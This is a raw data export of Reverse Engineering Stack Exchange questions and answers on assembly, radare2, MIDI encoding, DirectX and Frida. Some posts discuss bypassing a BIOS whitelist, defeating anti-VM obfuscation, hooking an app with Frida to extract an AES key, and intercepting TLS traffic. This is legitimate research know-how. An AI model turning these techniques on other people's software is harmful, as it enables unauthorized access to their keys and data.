I have one more question that popped up from my mind. Say in your example, member 2 is a pointer to an int, then

+ +
mov eax, [ebp + 8] ; eax contains pointer to struct and its first member
+mov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)
+
+ +

Say i would like to get the value of member to into ecx i would carry on like this:

+ +
mov eax, [eax]
+mov ecx, [eax]
+
+ +

So the whole thing would read like so:

+ +
mov eax, [ebp + 8] ; eax contains pointer to struct and its first member
+mov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)
+mov eax, [eax]     ; dereferenfce the pointer that is pointing to member2
+mov ecx, [eax]     ; dereference member2 itself that is a pointer to an int
+
+ +

Is this correct?

+",33207,,33207,,5/29/2020 13:30,5/29/2020 13:30,dereferencing structure members,,1,0,,,,CC BY-SA 4.0 +25148,1,,,5/29/2020 10:40,,1,125,"

Frequently when I use Radare2 I work mostly in hexadecimal. This means I'm constantly having to remember to type 0x in front of addresses, which is different from the machine-language monitors I'm used to using. (I'm generally working with binaries for 8-bit systems, where decimal is rarely used when working in machine language.)

+ +

Is there any way to set the default input radix to hexadecimal? I'd like to be able to type s ff00 instead of s 0xff00 at the command line, and gff00 instead of g0xff00 in visual mode.

+ +

And if I can do this, how does one enter decimal numbers, should that be necessary, in this mode?

+ +

Links to documentation are appreciated.

+",28616,,,,,5/29/2020 20:42,How can I change the default input radix to hexadecimal in Radare2?,,2,0,,,,CC BY-SA 4.0 +25149,2,,25147,5/29/2020 11:28,,0,,"

After compilation, a pointer to a C struct will be pointing to its first element. In your example, [ebp + 8] is a pointer to member1 and you can access a pointer to member2 like this:

+ +
mov eax, [ebp + 8] ; eax contains pointer to struct and its first member
+mov eax, [eax + 4] ; eax contains a pointer to member2
+
+ +

When in any doubt, you can always write a simple program, compile it and check the resulting assembler code. In your case, you could write something like this:

+ +
#include <stdio.h>
+
+struct example
+{
+    int member1;
+    void* member2;
+};
+
+
+void initialiseStruct(struct example* e)
+{
+    e->member1 = 1;
+    e->member2 = NULL;
+}
+
+int main()
+{
+    struct example e;
+    initialiseStruct(&e);
+    return 0;
+}
+
+ +

And then compile it and run objdump -dM intel FILENAME to get a snippet like the following one:

+ +
0000054d <initialiseStruct>:
+ 54d:   55                      push   ebp
+ 54e:   89 e5                   mov    ebp,esp
+ 550:   e8 6b 00 00 00          call   5c0 <__x86.get_pc_thunk.ax>
+ 555:   05 83 1a 00 00          add    eax,0x1a83
+ 55a:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
+ 55d:   c7 00 01 00 00 00       mov    DWORD PTR [eax],0x1 ; e->member1 = 1
+ 563:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
+ 566:   c7 40 04 00 00 00 00    mov    DWORD PTR [eax+0x4],0x0 ; e->member2 = NULL
+ 56d:   90                      nop
+ 56e:   5d                      pop    ebp
+ 56f:   c3                      ret  
+
+ +

Regarding your second question: you should view [] in assembly like * in C in case of mov.

+ +

If member2 points to int, you can access this integer this way (I've added C equivalents next to each assembly instruction):

+ +
mov eax, [ebp + 8] ; eax = e - remember, in my example e is a pointer
+mov eax, [eax + 4] ; eax = *(e + 4) = e->member2, so now eax contains the memory address at e->member2
+mov ecx, [eax] ; ecx = *(e->member2) - ecx contains the integer value
+
+",27930,,27930,,5/29/2020 13:16,5/29/2020 13:16,,,,0,,,,CC BY-SA 4.0 +25150,2,,25148,5/29/2020 12:58,,1,,"

I suppose there is no such option currently in radare2 (though more experienced radare2 contributors would tell it for sure).

+ +

However, if you are really annoyed by having to type 0x's in front every single time, you can perform a temporary (very hacky) solution. To do so, you can modify the libr/core/cmd_seek.c file (which is responsible for handling seek command) as follows: +

+ +

And then use make to compile the project. After this, you will get the feature you want (will also work with g in Visual Mode):

+ +

+ +

You can find the patch code below:

+ +
ut64 addr;
+if ((input[1] >= '1' && input[1] <= '9') || (input[1] >= 'a' && input[1] <= 'f'))
+{
+    char inputHex[strlen(input) + 1];
+    inputHex[0] = '0';
+    inputHex[1] = 'x';
+    int i = 2;
+    for (; i < strlen(input) + 1; i++)
+        inputHex[i] = input[i - 1];
+    addr = r_num_math (core->num, inputHex);
+} 
+else
+     addr = r_num_math (core->num, input + 1);
+
+",27930,,27930,,5/29/2020 19:57,5/29/2020 19:57,,,,0,,,,CC BY-SA 4.0 +25152,1,,,5/29/2020 13:04,,1,323,"

I am trying to bypass or erase the BIOS whitelist on my Thinkpad T440p. So far I've

+ +
    +
  • used flashrom and a soic8 clip to dump the bios to a bios.img file
  • +
  • made another dump and compared with diff bios.img bios2.img to verify the file
  • +
  • used the UEFITool to find and extract the relevant section containing the string ""Unauthorized network card ..."" as an .efi file
  • +
  • Analyzed that section using Ghidra
  • +
  • Found a function in Ghidra (FUN_00010ec4) that contains said string (DAT_000104d0), and an entry function that calls this function.
  • +
+ +

Below, I'll post the function containing the string first, and then the entry function. Also, I'll put a link there to the extracted body.

+ +
void FUN_00010ec4(undefined8 param_1,undefined *param_2,undefined8 param_3,undefined8 param_4)
+
+{
+   if (param_2 == (undefined *)0x0) {
+     param_2 = &DAT_00010ec0;
+  }
+  (**(code **)(DAT_00011040 + 0x170))(0x200,param_1,param_2,param_3,&DAT_000104d0,param_4);
+  return;
+}
+
+ +

The above function gets called from here:

+ +
longlong entry(undefined8 param_1,longlong param_2)
+
+{
+  longlong lVar1;
+  undefined8 local_res18;
+  undefined8 *local_res20;
+  undefined local_18 [24];
+
+  FUN_00010f08(param_1,param_2);
+  lVar1 = (**(code **)(DAT_00011040 + 0x140))(&LAB_00010480,0,&DAT_00011058);
+  if (-1 < lVar1) {
+    lVar1 = (**(code **)(DAT_00011040 + 0x140))(&LAB_00010410,0,&DAT_00011070);
+    if (-1 < lVar1) {
+      lVar1 = (**(code **)(DAT_00011040 + 0x140))(&DAT_000103f0,0,&DAT_00011078);
+      if (-1 < lVar1) {
+        lVar1 = (**(code **)(DAT_00011040 + 0x140))(&LAB_00010460,0);
+        if (-1 < lVar1) {
+          DAT_00011060 = *local_res20;
+          local_res18 = 0;
+          _DAT_00011068 = &LAB_00010b54;
+          (**(code **)(DAT_00011040 + 0x80))(&local_res18,&DAT_000103d0,0,&DAT_00011068);
+          DAT_00011028 = local_res18;
+          FUN_00010ec4(0x10,FUN_00010cf8,0,local_18);
+          lVar1 = 0;
+        }
+      }
+    }
+  }
+  return lVar1;
+}
+
+ +

The body, as well as the dumped .img can be found here.

+ +

Now I don't know what to do with this. Could I just remove the line FUN_00010ec4(0x10,FUN_00010cf8,0,local_18); and the function would never get called, thus freeing me from the whitelist? What other possibilities do you see to get around it?

+ +

This is the first time I deal with BIOS-modding, and I really don't want to brick my laptop. Also I'm sorry, if I use the wrong tags. I'm open for suggestions for better fitting ones.

+",33377,,,,,5/29/2020 13:04,Removing/bypassing a BIOS whitelist,,0,3,,,,CC BY-SA 4.0 +25153,1,,,5/29/2020 16:32,,1,155,"

I have a USB keyboard which has an Electron app to set the macros on the keyboard. I unpacked the app.asar file, and the JS files seem to indicate that it is a ReactJS app, and is a minified production build, and obfuscated too much to reverse engineer.

+ +

Another way to approach the problem seemed to be to use USB sniffer. I chose WireShark for the job. I wanted to capture all the data packets sent from the app to the keyboard, and hoped to reverse engineer that. The problem is, I can't find a way to capture the raw USB stream. I tried using WireShark to monitor usbmon0, but there is too much metadata, and separating the raw data from the protocol metadata seems to be a daunting task.

+ +

I do not have a hardware USB sniffer or a JTAG debugger. Is there a simple way to capture all the raw data going from the app to the keyboard?

+",33381,,,,,5/29/2020 16:32,Intercepting packets from Electron App to keyboard in Linux,,0,4,,,,CC BY-SA 4.0 +25155,2,,25148,5/29/2020 19:59,,1,,"

i cant say how much helpful this is but you can set e asm.tailsub=true and use .. instead of 0x
+(this is not actually replacing the 0x it is tail substitution)

+ +

that is it will seek to +0x10 if you do s .. 10 from current seek +or seek 0x100 if you do s ..100 or seek 0x1000 if you do s ..1000

+ +

it only substitutes the tail we are abusing this by substituting the whole body see the edit just so if you were wondering how are why

+ +

like

+ +
radare2 c:\Windows\System32\calc.exe
+ -- Enable asm.trace to see the tracing information inside the disassembly
+[0x140001820]> e asm.tailsub
+false
+[0x140001820]> s 1400018f0
+Cannot seek to unknown address '1400018f0'
+[0x140001820]> e asm.tailsub = true
+[0x140001820]> s ..1400018f0
+[0x1400018f0]>   
+
+ +

edit as explanation for what is .. or tailsub

+ +

[0x100000000]

+ +
> s entry0
+[0x140001820]> s ..1337
+[0x140001337]> s ..99999
+[0x140099999]>  
+
+",3473,,3473,,5/29/2020 20:42,5/29/2020 20:42,,,,3,,,,CC BY-SA 4.0 +25156,2,,25132,5/29/2020 20:23,,1,,"

Well, I am not (yet) an expert, but since I work in embedded software now I'd guess that this is your problem:

+ +

Old:

+ +
MXC MTD nand Driver 2.5
+NAND device: Manufacturer ID: 0x20, Chip ID: 0xaa (ST Micro NAND 256MiB 1,8V 8-bit)
+Searching for RedBoot partition table in NAND 256MiB 1,8V 8-bit at offset 0xff60000
+No RedBoot partition table detected in NAND 256MiB 1,8V 8-bit
+Creating 5 MTD partitions on ""NAND 256MiB 1,8V 8-bit"":
+0x000000000000-0x000000100000 : ""nand.bootloader""
+0x000000100000-0x000000400000 : ""nand.kernel""
+0x000000400000-0x00000fc00000 : ""nand.rootfs""
+0x00000fc00000-0x00000fd00000 : ""nand.configure""
+0x00000fd00000-0x000010000000 : ""nand.userfs""
+
+ +

New:

+ +
MXC MTD nand Driver 2.5
+NAND device: Manufacturer ID: 0x2c, Chip ID: 0xaa (Micron NAND 256MiB 1,8V 8-bit)
+Unrecognized NAND Flash device.
+
+ +

Long story short, you'll need something that your kernel will recognize. The NAND components are from different vendors, so while the boards may be the same to the manufacturer, they differ in details that matter to your older kernel.

+ +

Also, your kernel command line (typically taken from the U-Boot environment) differs between the two boots.

+ +
+ +

However, I would reckon there's at least a way to get this to boot as follows:

+ +
    +
  • from the U-Boot environment (basically you hit a key during the Hit any key to stop autoboot: prompt) you find out what your new board does to find the NFS server
  • +
  • set up a local DHCP server
  • +
  • make sure to make the root FS from your old board available under the expected path
  • +
  • boot - as you did now - and you should get a system up and running on an NFS root FS
  • +
+ +

While this doesn't solve the problem of modifying your existing kernel to fully boot off the NAND on the new board, it will allow you to tinker further with the new boot which the kernel panic currently prevents you from doing.

+ +

It's also possible that modifying something in the U-Boot environment will get you further, but this is what I'd do at this point.

+",245,,,,,5/29/2020 20:23,,,,5,,,,CC BY-SA 4.0 +25161,1,25170,,5/30/2020 3:00,,0,38,"

I found an address of a function from the game AssaultCube, and the address is 0045BCA0. In IDA, I disassembled ac_client.exe as a portable executable and tried to search for that address in the subview window with no results. This address is definitely in the actual game. How would I make IDA include more subview addresses so I can find that function address?

+ +

Can't Find Address

+ +

+",33388,,,,,5/30/2020 16:58,IDA No Search Results in Subview For Viable Address,,1,0,,,,CC BY-SA 4.0 +25162,1,25163,,5/30/2020 5:51,,3,152,"

I'm sending MIDI messages to a proprietary turntable that has an LCD screen on it. The normal software sends out updates via MIDI SysEx to display the current tempo on the LCD. The MIDI is being received on a MKL25Z128VLK4, Cortex-M0+/ARMv6-M device. (I did disassemble the firmware .bin after digging in its guts for the type of chip it's using, but the result of that was ~30k lines of assembly) The LCD model number is inaccessible without desoldering

+

At this point, I can successfully update the screen but I'm having trouble figuring out the pattern from a given number and I'm hoping someone else has experience with this.

+

Here's what I have found so far:

+

Setting a single byte to anything from 9-126 results in 00.0

+
  BPM   B1    B2    B3    B4
+ 00.0   0     0     0     0
+ 00.0   0     0     0     1
+ 00.0   0     0     0     2
+ 00.0   0     0     0     3
+ 00.0   0     0     0     4
+ 00.0   0     0     0     5
+ 00.0   0     0     0     6
+ 00.0   0     0     0     7
+ 00.0   0     0     0     8
+ 00.0   0     0     0    16
+ 00.0   0     0     0    32
+ 00.0   0     0     0    64
+ 00.1   0     0     0   127
+ 00.1   0     0     1     0
+ 00.3   0     0     2     0
+ 00.4   0     0     3     0
+ 00.6   0     0     4     0
+ 00.8   0     0     5     0
+ 00.9   0     0     6     0
+ 01.1   0     0     7     0
+ 01.2   0     0     8     0
+ 00.0   0     0    16     0
+ 00.0   0     0    32     0
+ 00.0   0     0    64     0
+ 02.4   0     0   127     0
+ 02.5   0     1     0     0
+ 05.1   0     2     0     0
+ 07.6   0     3     0     0
+ 10.2   0     4     0     0
+ 12.8   0     5     0     0
+ 16.3   0     6     0     0
+ 17.9   0     7     0     0
+ 20.4   0     8     0     0
+ 00.0   0    16     0     0
+ 00.0   0    32     0     0
+ 00.0   0    64     0     0
+ 38.4   0   127     0     0
+ 40.9   1     0     0     0
+ 81.9   2     0     0     0
+122.8   3     0     0     0
+163.8   4     0     0     0
+204.8   5     0     0     0
+245.7   6     0     0     0
+286.7   7     0     0     0
+327.6   8     0     0     0
+ 00.0  16     0     0     0
+ 00.0  32     0     0     0
+ 00.0  64     0     0     0
+614.4 127     0     0     0
+
+

Turning on multiple bytes adds them together with sometimes strange results

+
 40.9   1     0     0     0
+ 00.1   0     0     1     0
+ 41.1   1     0     1     0
+
+ 81.9   2     0     0     0
+ 00.1   0     0     1     0
+ 82.0   2     0     1     0
+
+
+

I'm wondering if there's some floating point or bitwise maths going on that I'm just not well versed in, and if so what are the real numbers and data types used for the calculations? I feel understanding this is crucial to solving this problem without a massive lookup table or gutting it and writing my own controller

+",33391,,245,,6/24/2020 11:53,6/24/2020 11:53,Construct a number from 0-999.9 using 5 data bytes of a MIDI SysEx message,,1,7,,,,CC BY-SA 4.0 +25163,2,,25162,5/30/2020 8:34,,4,,"

Binary

+ +

MIDI data bytes are 7 bits, meaning they can have decimal values from 0 to 127.

+ +

In a 7-bit binary number:

+ +
    +
  • the bit on the right represents a decimal value of 1.
  • +
  • the next bit to the left represents a decimal value of 2.
  • +
  • the next bits to the left represent decimal values of 4, 8, 16, 32, and 64.
  • +
+ +

Decimal values from 0 to 127 can be expressed in seven bits, where each bit is a 0 or 1.

+ +
binary   decimal
+0000001  1 = 1
+0000010  2 = 2
+0000011  3 = 2 + 1
+0000100  4 = 4
+0000101  5 = 4 + 1
+0000110  6 = 4 + 2
+0000111  7 = 4 + 2 + 1
+0001000  8 = 8
+0001001  9 = 8 + 1
+...
+1111111  127 = 64 + 32 + 16 + 8 + 4 + 2 + 1
+
+ +

Pattern

+ +

From the results you described, I suspect the turntable only cares about the lowest 4 bits in each byte. In other words, only the bits with decimal values of 1, 2, 4, and 8 will have an effect on the tempo display. This means only byte values 0 to 15 are useful.

+ +

I suspect the turntable is using the following pattern:

+ +
B1  B2  B3  B4  tempo  display
+ 0   0   0   0   .00     .0
+ 0   0   0   1   .01      ""
+ 0   0   0   2   .02      ""
+ 0   0   0   3   .03      ""
+ 0   0   0   4   .04      ""
+ 0   0   0   5   .05      ""
+ 0   0   0   6   .06      ""
+ 0   0   0   7   .07      ""
+ 0   0   0   8   .08      ""
+ 0   0   0   9   .09      ""
+ 0   0   0  10   .10     .1
+ 0   0   0  11   .11      ""
+ 0   0   0  12   .12      ""
+ 0   0   0  13   .13      ""
+ 0   0   0  14   .14      ""
+ 0   0   0  15   .15      ""
+ 0   0   1   0   .16      ""
+ 0   0   1   1   .17      ""
+ 0   0   1   2   .18      ""
+ 0   0   1   3   .19      ""
+ 0   0   1   4   .20     .2
+...
+
+ +

The byte values represent tempo values in .01 units, but when the turntable displays the tempo, it hides the last digit.

+ +

This hidden digit explains why turning on multiple bytes doesn't always produce the sum of the tempos displayed by the individual byte values.

+ +
B1  B2  B3  B4  tempo  display
+ 1   0   0   0  40.96   40.9
+ 0   0   1   0    .16     .1
+ 1   0   1   0  41.12   41.1
+
+ +

Bitwise math

+ +

When only some bits are used, bitwise math is indeed useful.

+ +

For example, here's some Javascript to convert a tempo to the needed byte values:

+ +
t = 123.4;
+
+v = 100 * t;
+
+b1 = (v >> 12) & 15;
+b2 = (v >> 8) & 15;
+b3 = (v >> 4) & 15;
+b4 = v & 15;
+
+console.log(b1, b2, b3, b4);
+
+ +

x & 15 is a bitwise AND, in this case, to keep only the lowest four bits.

+ +

x >> 4 is a right shift, in this case shifting the value 4 bits to the right, which discards the lowest four bits. This has the same effect as dividing by 16 and discarding the remainder.

+ +

Here's some Javascript to convert the byte values to the displayed tempo:

+ +
b1 = 3;
+b2 = 0;
+b3 = 3;
+b4 = 4;
+
+b1 = b1 & 15;
+b2 = b2 & 15;
+b3 = b3 & 15;
+b4 = b4 & 15;
+
+v = 16*16*16*b1 + 16*16*b2 + 16*b3 + b4;
+
+t = parseInt(v / 10) / 10;
+
+console.log(t);
+
+ +

In your web browser, you can go to about:blank, then press F12 and go to Console to enter these small Javascript calculations. (For your safety, enter about:blank in the address box, and never run code from strangers if you don't understand it.)

+",33392,,33392,,5/31/2020 9:16,5/31/2020 9:16,,,,8,,,,CC BY-SA 4.0 +25164,1,,,5/30/2020 9:13,,1,105,"

I'm disassembling a game which runs on an Intel i960 processor. My disassembly is at a point I would like to try to reassemble it from an IDA Pro generated ASM file. The ASM file needs slight manipulation for the binutils 2.16.1a i960-coff targeted assembler to work, however there seems to be an instruction, with similar instructions to follow but the assembler segfaults after this instruction, which cannot be reassembled.

+ +

The instruction is as follows: ""stt r12, (g11)[g12]""

+ +

A git which shows the switch statement which defaults to the error can be found here. +A colleague of mine explains that the error around the scale field is because the scale factor isn't 1, 2, 4, 8,or 16. The scale factor is only three bits, and he hypothesizes that this most likely is Register Indirect with Index form.

+ +

From a programming manual:

+ +
+

The st, stl, stt, and stq instructions copy 4, 8, 12, and 16 bytes + from successive registers into memory. ... Floating-point values are + loaded from memory into global or local registers using the load (ld), + load long (ldl), and load triple (ldt) instructions. Likewise, + floating-point values in global or local registers are stored in + memory using the store (st), store long (stl), and store triple (stt) + instructions. ... The st, stl, stt, and stq instructions copy 4, 8, + 12, and 16 bytes, respectively, from successive registers to memory. + For the stt instruction, src must specify an even numbered register + (e.g., gO, g2, ... , gI2). For the stt and stq instructions, src must + specify a register number that is a multiple of four (e.g., gO, g4, + g8).

+
+ +

I, however, have a feeling that it might be a Register Indirect with index and displacement. The reason being is that the instruction can also be disassembled as """"stt r12, (g11)[g12*1]"" and a manual lists a Register Indirect with index and displacement example in assembler syntax as:

+ +
+

exp (reg) [reg*scale]

+
+ +

But if that were the case, the scale would be 1. I am at somewhat of a loss and wish to pick the minds of the reverse engineering stack exchange to see what information may arise. It may be just that the game company had their own assembler and special knowledge on the processor that was not public or published.

+",33394,,,,,6/3/2020 19:47,Disassembly to reassembly - 80960: Invalid Scale Factor,,1,2,,,,CC BY-SA 4.0 +25165,1,25166,,5/30/2020 11:01,,0,215,"

The Radare2 command line (I believe it's called ""interactive mode""?) allows bringing back history and editing it with the arrow keys. However, I prefer to use vi/vim keybindings for this. How do I configure this?

+ +

I do have a $HOME/.inputrc file which contains set editing-mode vi, and this works for many programs (presumably all that use GNU Readline or a compatible library).

+ +

Alternatively, is there an option available to build Radare2 with Readline?

+",28616,,28616,,5/30/2020 11:36,2/24/2021 17:06,How do I use vi keybindings at the command line in Radare2?,,1,4,,,,CC BY-SA 4.0 +25166,2,,25165,5/30/2020 11:42,,0,,"

You can e scr.prompt.vi = true to enable a limited form of vi key bindings for command line editing. However, this is very limited; it's even missing basic movement commands such as f and t, and some commands such as cw do not appear to work properly. Searching with vi keybindings is unavailable; you must still use the Emacs Ctrl-R syntax to search backwards in your history. And a special warning: Enter in command mode will do nothing; you must enter insert mode and press Enter to enter the command you've just brought up or edited.

+ +

(I found the setting by searching the configuration variables using e scr. ~vi; thanks to @blabb for mentioning this to me.)

+ +

Radare2 uses its own command line editing code, in libr/cons/dietline.c.

+",28616,,28616,,5/30/2020 11:49,5/30/2020 11:49,,,,0,,,,CC BY-SA 4.0 +25170,2,,25161,5/30/2020 16:58,,0,,"

Looks like no function has been created at that address for whatever reason. Try jumping to it manually(G shortcut) and create code/function there.

+",60,,,,,5/30/2020 16:58,,,,2,,,,CC BY-SA 4.0 +25171,1,,,5/30/2020 17:20,,1,63,"

I'm disassembling an iPhone app

+ +

I'm trying to batch the instruction CBZ -> CBNZ

+ +

Instruction Code: D9 09 00 34

+ +

As per my understanding, CBZ will jump to the address if value of register is 0

+ +

I have tried to convert it to CBNZ D9 09 00 35 but that didn't help

+ +
+ +

D9 09 00 34

+ +

00000000: 01000100 00111001 00100000 00110000 00111001 00100000 D9 09 00000006: 00110000 00110000 00100000 00110011 00110100 00001010 00 34.

+ +

D9 09 00 35

+ +

00000000: 01000100 00111001 00100000 00110000 00111001 00100000 D9 09 00000006: 00110000 00110000 00100000 00110011 00110101 00001010 00 35

+ +

I appreciate your support

+",33397,,,,,5/30/2020 17:20,ARMv7 Word Patch (CBZ),,0,1,,,,CC BY-SA 4.0 +25172,1,25203,,5/31/2020 9:14,,1,59,"

I'm new with gdb and I have spent hours looking for direction but I can't find any. +I need to analyze an executable to find how this program process the arguments and where the output came from. I have it running on my system, got it working correctly to print some encoded string. +After some days trying gdb, I figure that I need to trace the data inside every function, but I can't pass this function __libc_init where the program alwas exited with code 0235. The last process says __libc_init () from /system/lib/libc.so +so i think it's doing something with this external library libc.so. How could I continue the debug process when I hit this type of process? I can't find any reference to understand this.

+",33405,,33405,,5/31/2020 9:34,6/3/2020 19:42,GDB exited when running library,,1,0,,,,CC BY-SA 4.0 +25173,1,,,5/31/2020 15:52,,0,111,"

I am running an application in BlueStacks that was installed with Google Play and am trying to look at network packets which are encrypted using RSA over TLS. I can see the client key exchange packet in the TLS handshake but do not know where to find my private key within the BlueStacks emulator to decrypt the messages after the handshake (I am trying to man-in-the-middle myself). Where is this located?

+",33410,,,,,5/31/2020 15:52,Where are private keys for Google Play stored on an android device?,,0,3,,,,CC BY-SA 4.0 +25174,1,,,5/31/2020 16:36,,2,59,"

I disassemble CreateDevice function from my DirectX code and commented each paratemer:

+ +
.text:0043F485                 mov     eax, [ebp+lpParam]
+.text:0043F488                 add     eax, 730h
+.text:0043F48D                 push    eax  ;LPDIRECT3DDEVICE9
+.text:0043F48E                 mov     ecx, [ebp+lpParam]
+.text:0043F491                 add     ecx, 0B88h
+.text:0043F497                 push    ecx  ;D3DPRESENT_PARAMETERS
+.text:0043F498                 mov     edx, [ebp+var_170]
+.text:0043F49E                 push    edx  ;vertex processing type
+.text:0043F49F                 mov     eax, [ebp+lpParam]
+.text:0043F4A2                 mov     ecx, [eax+728h]
+.text:0043F4A8                 push    ecx  ;hWnd
+.text:0043F4A9                 push    1    ;D3DDEVTYPE_HAL
+.text:0043F4AB                 push    0    ;D3DADAPTER_DEFAULT
+.text:0043F4AD                 mov     edx, [ebp+lpParam]
+.text:0043F4B0                 mov     eax, [edx+734h]
+.text:0043F4B6                 mov     ecx, [ebp+lpParam]
+.text:0043F4B9                 mov     edx, [ecx+734h]
+.text:0043F4BF                 mov     eax, [eax]
+.text:0043F4C1                 push    edx  ;??????????????
+.text:0043F4C2                 mov     ecx, [eax+40h]   ;this pointer
+.text:0043F4C5                 call    ecx  ;call CreateDevice
+.text:0043F4C7                 mov     eax, [ebp+lpParam]
+.text:0043F4CA                 mov     ecx, [eax+730h];LPDIRECT3DDEVICE9 in return
+
+
+ +

Using experimental way I figured out LPDIRECT3DDEVICE9 variable presents in:

+ +
.text:0043F48D                 push    eax  ;LPDIRECT3DDEVICE9
+
+ +

Also, using debugger I figured out edx register:

+ +
.text:0043F4C1                 push    edx  ;??????????????
+
+ +

has value d3d9.dll:6521F191 db 0B8h what in expand view is:

+ +
d3d9.dll:6521F191 db 0B8h ; ¬
+d3d9.dll:6521F192 db  48h ; H
+d3d9.dll:6521F193 db  77h ; w
+d3d9.dll:6521F194 db  23h ; #
+
+ +

My question, why before CreateDevice function calling is there ""push edx"" line of code? In my example I used OOP and ecx is this pointer:

+ +
.text:0043F4C2                 mov     ecx, [eax+40h]   ;this pointer
+
+ +

But what purpose is this line of code:

+ +
.text:0043F4C1                 push    edx  ;d3d9.dll:6521F191 db 0B8h ; ¬
+
+ +

Is it like this pointer for DirectX COM interface or what?

+ +

Thanks in advance!

+",33371,,,,,6/30/2020 18:01,Register edx and CreateDevice function DX,,1,0,,,,CC BY-SA 4.0 +25175,2,,25174,5/31/2020 17:51,,2,,"

DirectX interfaces like IDirect3D9/IDirect3DDevice9 are COM interfaces and not C++ classes.

+ +

COM (OLE2) predates the wide use of C++ and uses a C-compatible calling convention, __stdcall, instead of the C++specific __thiscall. The use of ecx is a red herring; here it's used to load the function pointer (IDirect3D9::CreateDevice) and jump to it, not as the this pointer. The first argument to the call (push edx) is the This pointer (the interface itself).

+ +

In C syntax, the call would look like this:

+ +
IDirect3D9 *d3d = Direct3DCreate9(D3D_SDK_VERSION);
+IDirect3DDevice9 *pDevice;
+d3d->lpVtbl->CreateDevice(d3d, adapter, D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWnd, BehaviorFlags, &presentationParameters, &pDevice);
+
+ +

All arguments to CreateDevice are pushed on the stack according to the __stdcall convention.

+",60,,,,,5/31/2020 17:51,,,,0,,,,CC BY-SA 4.0 +25176,1,,,5/31/2020 19:19,,1,668,"

I am trying to obtain the SecretKey passed to the decryptAesCipherText function. I hooked the function in Frida to try to print out the arguments when the method is called but since SecretKey is an object, all attempts to print it out give output as [object Object]. However the SecretKey object has a method getEncoded() which will return a byte array which can be printed out in hex format. How can I call this method from Frida and get the result?

+ +

The java function, I am hooking to is given below

+ + + +
import javax.crypto.Cipher;
+import javax.crypto.SecretKey;
+
+private byte[] decryptAesCipherText(SecretKey secretKey, byte[] bArr) {
+        Cipher instance = Cipher.getInstance(""AES/ECB/PKCS5Padding"");
+        instance.init(2, secretKey);
+        return decryptCipherText(instance, bArr);
+}
+
+ +



+The javascript snippet (incomplete) to hook the function

+ + + +
var target_class = Java.use('com.reactlibrary.securekeystore.RNSecureKeyStoreModule');
+
+target_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').implementation = function(key, array){
+        console.log(""Inside decrypt aes"");
+
+        //Call getEncoded method on key to get byte array
+
+        var ret = my_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').call(this, key, array);
+        return ret;
+}
+
+",33414,,,,,6/18/2020 21:19,Calling a method of a Java object passed as argument to hooked function in Frida,,1,0,,,,CC BY-SA 4.0 +25180,1,,,6/1/2020 6:57,,-1,114,"

I want to analyse a malware that do not run without administrative previliges.

+ +

I know it is risky but still.

+ +

How can I debug it with debugger as from entry point?

+ +

Because debugger could not start it as administrator. And I Got error

+ +

Error Starting Process (create Process, 00000740, uiAccess=""true"")

+",33093,,,,,7/3/2020 20:01,Force debug Administrator Malware,,1,1,,,,CC BY-SA 4.0 +25181,1,25209,,6/1/2020 9:19,,2,899,"

I wanted to run an app on a VM but there are PUSH PUSH RETs stopping me from looking at their anti VM code. There is a messagebox when I run it on a VM. I set a breakpoint at MessageBoxA and it gets triggered as well as EAX is showing the message for the VM. It's all good until now.

+ +

+ +

I'm using x64dbg and I opened Call Stack tab and double-clicked on the address after user32.MessageBoxA (basically 2nd record), so I could trace back the calls before the actual MessageBoxA. It landed me here:

+ +

+ +

I heard that PUSH RET is like a jmp, PUSH PUSH RET is like a call. How do they work? Can they be deobfuscated with a tool/plugin or something?

+ +

PUSH 0xC9DFBF leads me here:

+ +

+ +

PUSH 0xA4DB49 leads me here:

+ +

+ +

When I follow that jmp, it leads to similar code to PUSH 0xC9DFBF's image which ends with a jmp to MessageBoxA.

+ +

What could you recommend me to step into the code before the actual MessageBoxA call, so I can find their anti VM code and patch it? Do I need to step the instructions from the beginning one by one?

+ +

Dumps: http://ufile.io/56c5b2z6. Rebase to 0x1270000 and find 0181E65C address. This address is in the executable file. I attached two dumped DLLs as well, because they were referenced.

+",29838,,29838,,6/3/2020 7:13,6/5/2020 19:35,Dealing with obfuscated PUSH PUSH RET instructions,,2,4,,,,CC BY-SA 4.0 +25182,2,,22866,6/1/2020 12:27,,1,,"
    +
  1. You can use checksec for dynamically linked binaries. However it'll fail for statically compiled binaries. You can try something like this for x86/64 with radare2
  2. +
+
    +
  • i386
  • +
+
$ r2 -AAA -qq -c "pdf @main~gs" test
+│           0x00000591      658b0d140000.  mov ecx, dword gs:[0x14]
+│           0x000005b6      65331d140000.  xor ebx, dword gs:[0x14]
+
+
    +
  • amd64
  • +
+
$ r2 -AAA -qq -c "pdf @main~fs" test
+│           0x00400b5c      64488b042528.  mov rax, qword fs:[0x28]
+│           0x00400b85      644833142528.  xor rdx, qword fs:[0x28]
+
+

In x64 cookie is loaded from fs:[0x28] and in x86 from gs:[0x14] in the function prolog. You can refer to the answer here

+",14622,,14622,,8/5/2020 11:57,8/5/2020 11:57,,,,0,,,,CC BY-SA 4.0 +25183,2,,17835,6/1/2020 13:04,,1,,"

Dump byte-array as hex (Android only)

+

If you are using Frida on Android there is an alternative, using the Android built-in Apache commons codec Hex encoder. As far as I know all Android versions should include the class org.apache.commons.codec.binary.Hex. Unfortunately the version available in Android does not directly output a String, hence you also have to use java.lang.String class:

+
function encodeHex(byteArray) {
+    const HexClass = Java.use('org.apache.commons.codec.binary.Hex');
+    const StringClass = Java.use('java.lang.String');
+    const hexChars = HexClass.encodeHex(byteArray);
+    return StringClass.$new(hexChars).toString();
+}
+
+",1848,,1848,,2/28/2022 13:22,2/28/2022 13:22,,,,0,,,,CC BY-SA 4.0 +25184,1,25185,,6/1/2020 13:22,,2,92,"

I was reading this Frida release page and noticed it made the following reference:

+ +
+

Short of writing the whole agent in C, one could go ahead and build a + native library, and load it using Module.load(). This works but means + it has to be compiled for every single architecture, deployed to the + target, etc.

+
+ +

The CModule feature is fantastic for Frida-centric actions, but it would be nice to load generic shared-objects into the target process. CModule appears to be written for performance optimization within Stalker and related code. Any attempt to do something ""extra"" results in something like this will result in compile-time (at runtime, by the embedded TinyCC) errors such as:

+ +
